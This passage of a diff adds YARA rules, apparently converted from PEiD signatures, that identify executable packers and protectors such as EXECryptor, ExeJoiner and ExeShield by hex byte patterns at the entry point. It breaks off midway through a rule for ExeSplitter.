+rule PEiD_00612_EXECryptor_2_2_2_3__compressed_code_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00613_EXECryptor_2_2_2_3__compressed_code_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50 B8 C8 ?? ?? ?? 8B 04 18 FF D0 59 58 5B 83 EB 05 C6 03 B8 43 89 03 83 C3 04 C6 03 C3 09 C9 74 46 89 C3 E8 A0 00 00 00 FC AD 83 F8 FF 74 38 53 89 CB 01 C3 01 0B 83 C3 04 AC 3C FE 73 07 25 FF 00 00 00 EB ED 81 C3 FE 00 00 00 09 C0 7A 09 66 AD 25 FF FF 00 00 EB DA AD 4E 25 FF FF FF 00 3D FF FF FF 00 75 CC ?? ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00614_EXECryptor_2_2_2_3__protected_IAT_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (protected IAT) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00615_EXECryptor_2_3_9__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (compressed resources) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00}
+    condition:
+        $a
+}
+
+rule PEiD_00616_EXECryptor_2_3_9__compressed_resources__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (compressed resources)]"
+        ep_only = "true"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00 00 81 ED BB 43 CB 79 C1 E0 1C E9 9E 14 00 00 0B 15 ?? ?? ?? ?? 81 E2 2A 70 7F 49 81 C2 9D 83 12 3B E8 0C 50 00 00 E9 A0 16 00 00 59 5B C3 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 41 42 00 00 E9 93 33 00 00 31 DB 89 D8 59 5B C3 A1 ?? ?? ?? ?? 8A 00 2C 99 E9 82 30 00 00 0F 8A ?? ?? ?? ?? B8 01 00 00 00 31 D2 0F A2 25 FF 0F 00 00 E9 72 21 00 00 0F 86 57 0B 00 00 E9 ?? ?? ?? ?? C1 C0 03 E8 F0 36 00 00 E9 41 0A 00 00 81 F7 B3 6E 85 EA 81 C7 ?? ?? ?? ?? 87 3C 24 E9 74 52 00 00 0F 8E ?? ?? ?? ?? E8 5E 37 00 00 68 B1 74 96 13 5A E9 A1 04 00 00 81 D1 49 C0 12 27 E9 50 4E 00 00 C1 C8 1B 1B C3 81 E1 96 36 E5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00617_EXECryptor_2_3_9__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00618_EXECryptor_2_3_9__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0 0F 84 8E EC FF FF E9 ?? ?? ?? FF C3 87 3C 24 5F 8B 00 03 45 FC 83 C0 18 E9 ?? ?? ?? FF 87 0C 24 59 B8 01 00 00 00 D3 E0 23 D0 E9 02 18 00 00 0F 8D DB 00 00 00 C1 E8 14 E9 CA 00 00 00 9D 87 0C 24 59 87 1C 24 68 AE 73 B9 96 E9 C5 10 00 00 0F 8A ?? ?? ?? ?? E9 ?? ?? ?? FF 81 FD F5 FF 8F 07 E9 4F 10 00 00 C3 E9 5E 12 00 00 87 3C 24 E9 ?? ?? ?? FF E8 ?? ?? ?? FF 83 3D ?? ?? ?? ?? 00 0F 85 ?? ?? ?? ?? 8D 55 EC B8 ?? ?? ?? ?? E9 ?? ?? ?? FF E8 A7 1A 00 00 E8 2A CB FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF 59 89 45 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00619_EXECryptor_2_3_9_DLL__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (compressed resources) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00620_EXECryptor_2_3_9_DLL__compressed_resources__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (compressed resources)]"
+        ep_only = "true"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9 ?? ?? ?? 00 BA ?? ?? ?? ?? E8 ?? ?? ?? 00 A3 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 C3 83 C4 04 C3 E9 ?? ?? ?? FF 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? FF C1 C2 03 81 CA ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 03 C2 5A E9 ?? ?? ?? FF 81 E7 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 89 07 E9 ?? ?? ?? ?? 0F 89 ?? ?? ?? ?? 87 14 24 5A 50 C1 C8 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00621_EXECryptor_2_3_9_DLL__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00622_EXECryptor_2_3_9_DLL__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C E9 ?? ?? ?? 00 F7 D6 2B D5 E9 ?? ?? ?? 00 87 3C 24 8B CF 5F 87 14 24 1B CA E9 ?? ?? ?? 00 83 C4 08 68 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? 00 E9 ?? ?? ?? 00 50 8B C5 87 04 24 8B EC 51 0F 88 ?? ?? ?? 00 FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 99 03 04 24 E9 ?? ?? ?? 00 C3 81 D5 ?? ?? ?? ?? 9C E9 ?? ?? ?? 00 81 FA ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 15 81 CB ?? ?? ?? ?? 81 F3 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 87}
+    condition:
+        $a at pe.entry_point
+}
+
+/*
+rule PEiD_00623_EXECryptor_2_x____SoftComplete_Developement_
+{
+    meta:
+        description = "[EXECryptor 2.x -> SoftComplete Developement]"
+        ep_only = "false"
+    strings:
+        $a = {A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_00624_EXECryptor_2_xx__compressed_resources_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.xx (compressed resources) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89 F2 01 DE EB 06 85 DB 74 0E EB A9 56 89 D6 89 D9 F3 A4 31 DB 5E EB 9D 89 F0 5B 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00625_EXECryptor_2_xx__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.xx (compressed resources) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00626_EXECryptor_2_xx__max__compressed_resources_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1 00 00 00 73 5B B9 04 00 00 00 E8 FD 00 00 00 48 74 DE 0F 89 C7 00 00 00 E8 D7 00 00 00 73 1B 55 BD 00 01 00 00 E8 D7 00 00 00 88 07 47 4D 75 F5 E8 BF 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 C8 00 00 00 83 C0 07 89 45 F0 C6 45 EF 00 83 F8 08 74 89 E8 A9 00 00 00 88 45 EF E9 7C FF FF FF B9 07 00 00 00 E8 A2 00 00 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00627_EXECryptor_2_xx__max__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00628_EXECryptor_v1_3_0_45_
+{
+    meta:
+        description = "[EXECryptor v1.3.0.45]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00629_EXECryptor_v1_3_0_45_
+{
+    meta:
+        description = "[EXECryptor v1.3.0.45]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00630_EXECryptor_v1_4_0_1_
+{
+    meta:
+        description = "[EXECryptor v1.4.0.1]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00631_EXECryptor_v1_5_1_x_
+{
+    meta:
+        description = "[EXECryptor v1.5.1.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00632_EXECryptor_v1_5_3_
+{
+    meta:
+        description = "[EXECryptor v1.5.3]"
+        ep_only = "false"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a
+}
+
+rule PEiD_00633_EXECryptor_V2_1X____softcomplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.1X -> softcomplete.com]"
+        ep_only = "false"
+    strings:
+        $a = {83 C6 14 8B 55 FC E9 ?? FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00634_EXECryptor_V2_1X____SoftComplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.1X -> SoftComplete.com]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00635_EXECryptor_V2_2X____softcomplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.2X -> softcomplete.com]"
+        ep_only = "false"
+    strings:
+        $a = {FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00}
+    condition:
+        $a
+}
+
+rule PEiD_00636_EXECryptor_vx_x_x_x_
+{
+    meta:
+        description = "[EXECryptor vx.x.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00637_ExeJoiner_1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00638_ExeJoiner_1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 B7 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1A 12 40 00 FF 35 08 12 40 00 E8 98 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 8B 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 34 12 40 00 FF 35 08 12 40 00 E8 6C 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 5F 02 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00639_ExeJoiner_1_0____Yoda_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00640_ExeJoiner_V1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner V1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00641_EXEJoiner_v1_0_
+{
+    meta:
+        description = "[EXEJoiner v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00642_EXELOCK_666_1_5_
+{
+    meta:
+        description = "[EXELOCK 666 1.5]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00643_ExeLock_v1_00_
+{
+    meta:
+        description = "[ExeLock v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00644_EXEPACK__LINK__v3_60__v3_64__v3_65_or_5_01_21_
+{
+    meta:
+        description = "[EXEPACK (LINK) v3.60, v3.64, v3.65 or 5.01.21]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00645_EXEPACK_v4_05__v4_06_
+{
+    meta:
+        description = "[EXEPACK v4.05, v4.06]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00646_EXERefactor_V0_1____random_
+{
+    meta:
+        description = "[EXERefactor V0.1 -> random]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00647_ExeSafeguard_1_0____simonzh__h__
+{
+    meta:
+        description = "[ExeSafeguard 1.0 -> simonzh (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE}
+    condition:
+        $a
+}
+
+rule PEiD_00648_ExeSafeguard_v1_0____simonzh__h__
+{
+    meta:
+        description = "[ExeSafeguard v1.0 -> simonzh (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF BA A3 22 3F 9A C0 60 EB 4D EB 47 DF 69 4E 58 DF 59 79 F3 EB 01 DF 78 EE DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 8D B5 EE 19 40 00 EB 47 EB 47 DF 69 4E 58 DF 59 7A EE EB 01 DF 7B E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF 22 3F 9A C0 8B FE EB 4C EB 47 DF 69 4E 58 DF 59 74 F2 EB 01 DF 75 ED 0F 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 B9 2B CB 00 00 EB 4B EB 47 DF 69 4E 58 DF 59 78 EF}
+    condition:
+        $a
+}
+
+rule PEiD_00649_ExeShield_3_6____www_exeshield_com_
+{
+    meta:
+        description = "[ExeShield 3.6 -> www.exeshield.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00650_ExeShield_Cryptor_1_3RC____Tom_Commander_
+{
+    meta:
+        description = "[ExeShield Cryptor 1.3RC -> Tom Commander]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 8C 21 40 00 B9 51 2D 40 00 81 E9 E6 21 40 00 8B D5 81 C2 E6 21 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00651_ExeShield_Protector_V3_6____www_exeshield_com_
+{
+    meta:
+        description = "[ExeShield Protector V3.6 -> www.exeshield.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00652_ExeShield_v3_7____ExeShield_Team__h__
+{
+    meta:
+        description = "[ExeShield v3.7 -> ExeShield Team (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F 8C B9 0A FC EC E4 82 97 AE 0F 18 D2 47 1B 65 EA 46 A5 FD 3E 9D 75 2A 62 80 60 F9 B0 0D E1 AC 12 0E 9D 24 D5 43 CE 9A D6 18 BF 22 DA 1F 72 76 B0 98 5B C2 64 BC AE D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00653_ExeSmasher_vx_x_
+{
+    meta:
+        description = "[ExeSmasher vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00654_ExeSplitter_1_2____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.2 -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
